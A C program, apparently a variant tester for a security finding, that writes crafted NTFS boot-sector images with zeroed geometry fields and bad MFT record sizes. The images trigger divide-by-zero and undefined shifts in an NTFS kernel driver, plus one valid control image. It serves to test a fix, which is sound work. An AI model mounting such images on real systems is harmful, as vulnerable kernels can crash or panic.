/*
 * DF-0872 variant tester: emits crafted NTFS boot sectors exercising the
 * distinct sub-bugs the finding cites. Each variant is written to argv[i+1].
 *
 *   v1_bps0_mftF6.img  : bf_bps=0, mftrecsz=0xF6 -> div#0 at ntfs_vfsops.c:354
 *   v2_spc0_mft01.img  : bf_spc=0, mftrecsz=0x01 -> bpmftrec=0 -> div#0 at statfs:620
 *   v3_mft80.img       : mftrecsz=0x80 (cpr=INT8_MIN=-128) -> 1<<128 UB shift
 *
 * The fix must reject all three with EINVAL before any division/shift.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#define IMG_SIZE   (1024 * 1024)
#define OFF_SYSID  0x03
#define OFF_BPS    0x0B
#define OFF_SPC    0x0D
#define OFF_MEDIA  0x15
#define OFF_SPV    0x28
#define OFF_MFTCN  0x30
#define OFF_MFTMIR 0x38
#define OFF_MFTREC 0x40
#define OFF_BOOTSIG 0x1FE

static void put16(uint8_t *p, unsigned off, uint16_t v) { p[off]=v&0xff; p[off+1]=(v>>8)&0xff; }

static int write_img(const char *path, uint16_t bps, uint8_t spc, uint8_t mftrec)
{
    uint8_t *img = calloc(1, IMG_SIZE);
    FILE *f;
    if (!img) { perror("calloc"); return 1; }
    img[0]=0xEB; img[1]=0x52; img[2]=0x90;
    memcpy(img+OFF_SYSID, "NTFS    ", 8);
    put16(img, OFF_BPS, bps);
    img[OFF_SPC]=spc;
    img[OFF_MEDIA]=0xF8;
    uint64_t spv=0xFFFFFUL, mftcn=4ULL, mftmir=8ULL;
    memcpy(img+OFF_SPV, &spv, 8);
    memcpy(img+OFF_MFTCN, &mftcn, 8);
    memcpy(img+OFF_MFTMIR, &mftmir, 8);
    img[OFF_MFTREC]=mftrec;
    img[OFF_BOOTSIG]=0x55; img[OFF_BOOTSIG+1]=0xAA;
    f=fopen(path,"wb");
    if(!f){perror("fopen");free(img);return 1;}
    if(fwrite(img,1,IMG_SIZE,f)!=IMG_SIZE){perror("fwrite");fclose(f);free(img);return 1;}
    fclose(f); free(img);
    printf("[+] %s  (bps=%u spc=%u mftrecsz=0x%02x)\n", path, bps, spc, mftrec);
    return 0;
}

int main(void){
    int rc=0;
    rc|=write_img("v1_bps0_mftF6.img",   0,   8, 0xF6);  /* div#0 at mount */
    rc|=write_img("v2_spc0_mft01.img", 512,   0, 0x01);  /* bpmftrec=0 -> div#0 at statfs */
    rc|=write_img("v3_mft80.img",      512,   8, 0x80);  /* cpr=-128 -> 1<<128 UB */
    rc|=write_img("v4_ok.img",         512,   8, 0xF6);  /* valid image: must still mount-or-fail-late, NOT panic */
    return rc;
}
